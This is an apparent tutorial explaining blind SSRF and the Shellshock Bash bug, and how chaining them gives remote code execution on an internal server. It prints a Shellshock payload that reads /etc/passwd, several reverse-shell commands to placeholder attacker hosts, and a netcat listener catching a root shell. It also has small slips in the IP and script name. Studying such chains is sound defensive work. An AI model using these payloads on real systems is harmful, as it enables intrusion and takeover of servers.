Blind SSRF + Shell Shock (RCE)

First what is blind SSRF

Blind SSRF occurs when an attacker can force a vulnerable server to send an HTTP (or other protocol) request to an unexpected destination, but the server **does not send the response data back** to the attacker.

How Attackers Exploit Blind SSRF

Because the attacker cannot see the data directly, they have to use indirect methods to extract information or confirm the vulnerability.

1. Out-of-Band (OOB) Testing

- **The Technique:** The attacker provides a URL pointing to a server they completely control (e.g., `http://attacker-controlled-server.com`).
- **The Goal:** The attacker watches their own server logs. If they see an incoming connection originating from the vulnerable company's server IP, it proves the server executed the command. This confirms the SSRF vulnerability exists.

1. Time-Based Analysis

- **The Technique:** The attacker forces the vulnerable server to connect to an internal IP and port.
- **The Goal:** They measure how long the server takes to respond.
  - If the port is **open**, the server might connect instantly, causing the webpage to load fast.
  - If the port is **closed or firewalled**, the server might hang for 10 seconds waiting for a connection timeout, causing the webpage to load very slowly. By tracking these time differences, attackers can map out open ports on the internal network.

second what is Shell Shock (RCE)

The vulnerability allows an attacker to inject operating system commands directly into **environment variables**. When a vulnerable version of Bash processes these variables, it mistakenly executes the injected commands automatically.

How the Exploit Works:
Bash allows you to store code functions inside environment variables. A normal Bash function variable looks like this:
`() { :; };`

The vulnerability occurs because **vulnerable versions of Bash do not stop reading after the function ends**. If an attacker appends a trailing system command after the function, Bash parses and executes it immediately. The classic Shellshock payload looks like this:

```
() { :; }; echo; /bin/cat /etc/passwd
```

Instead of just saving the empty function `() { :; };`, Bash blindly triggers the command following it (`/bin/cat /etc/passwd`).

How It Becomes a *Remote* Attack (CGI Script Web Servers):

Even though Bash is a local backend tool, attackers can trigger it remotely through web servers. The most common vector is an Apache web server using old **CGI (Common Gateway Interface) scripts**.

1. **The Request:** When a user visits a CGI webpage, the web server takes the user's browser details (like the `User-Agent` or `Cookie` headers) and passes them into the server's OS environment variables. []
2. **The Injection:** An attacker modifies their HTTP request, replacing their browser information with the Shellshock payload:
   ```
   GET /cgi-bin/status.sh HTTP/1.1
   Host: vulnerable-server.com
   User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1
   ```
3. **The Execution:** The web server assigns the malicious `User-Agent` to an environment variable. It then calls Bash to execute the `status.sh` script.

4. **The RCE:** As soon as Bash starts up, it reads the environment variables, hits the payload, and instantly executes the attacker's command—granting them a **reverse shell** to take full control of the server.

finally Blind SSRF + Shell Shock (RCE)

Network Layout:

- **Attacker PC:** Outside the network. Cannot see or touch the internal network.
- **Public Server A:** A public website with a **Blind SSRF** flaw (e.g., a webhook feature or a logging mechanism). It accepts URLs but never prints the results on the screen.
- **Internal Server B (`10.0.0.5`):** A hidden backend server running an old CGI script. It is vulnerable to **Shellshock** but completely isolated from the internet.

Step 1: The Attacker's Blind Payload

Because it is a **Blind SSRF**, the attacker cannot use commands that just read files (like `/bin/cat /etc/passwd`), because they will never see the output. Instead, they must inject an **action-based command** that forces the internal server to connect out to the internet.

The attacker sends a request to the public Server A, telling it to hit the internal CGI script while passing a malicious `User-Agent` header:

```
POST /analytics-webhook HTTP/1.1
Host: public-company.com
Content-Type: application/json

{
  "target_url": "http://10.0.0.0",
  "custom_header": "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/YOUR-ATTACKER-IP/4444
0>&1"
}
```

Step 2: The Blind Forwarding (Server A)

Public Server A processes the request. It fires an HTTP request to the internal IP `10.0.0.5`.

- **The Blind Element:** Once Server A sends the request, it simply tells the attacker: `{"status": "processed"}` or `200 OK`. It drops any data it gets back from the internal network. The attacker has no idea if the internal server even exists yet.

Step 3: The Exploit Execution (Server B)

Behind the scenes, Internal Server B receives the request from Server A.

1. The web server saves the attacker's malicious `User-Agent` string into its environment variables.
2. It launches **GNU Bash** to process the `stats.sh` CGI script.
3. The Shellshock bug triggers. Bash ignores the empty function `() { :; };` and immediately executes the trailing command: `/bin/bash -i >& /dev/tcp/YOUR-ATTACKER-IP/4444 0>&1`.

Step 4: Catching the Reverse Shell

This specific command tells Server B to open a secret network tunnel directly to the attacker's public IP address on port `4444`.

Even though the attacker received no feedback from the web app, their terminal suddenly pops open with a successful connection:

```
$ nc -lvnp 4444
Listening on (family 0, port 4444)
Connection from 53212
root@internal-secure-backend:/# _
```

The attacker has successfully bypassed the firewall and now has full system-level access inside the target's private infrastructure.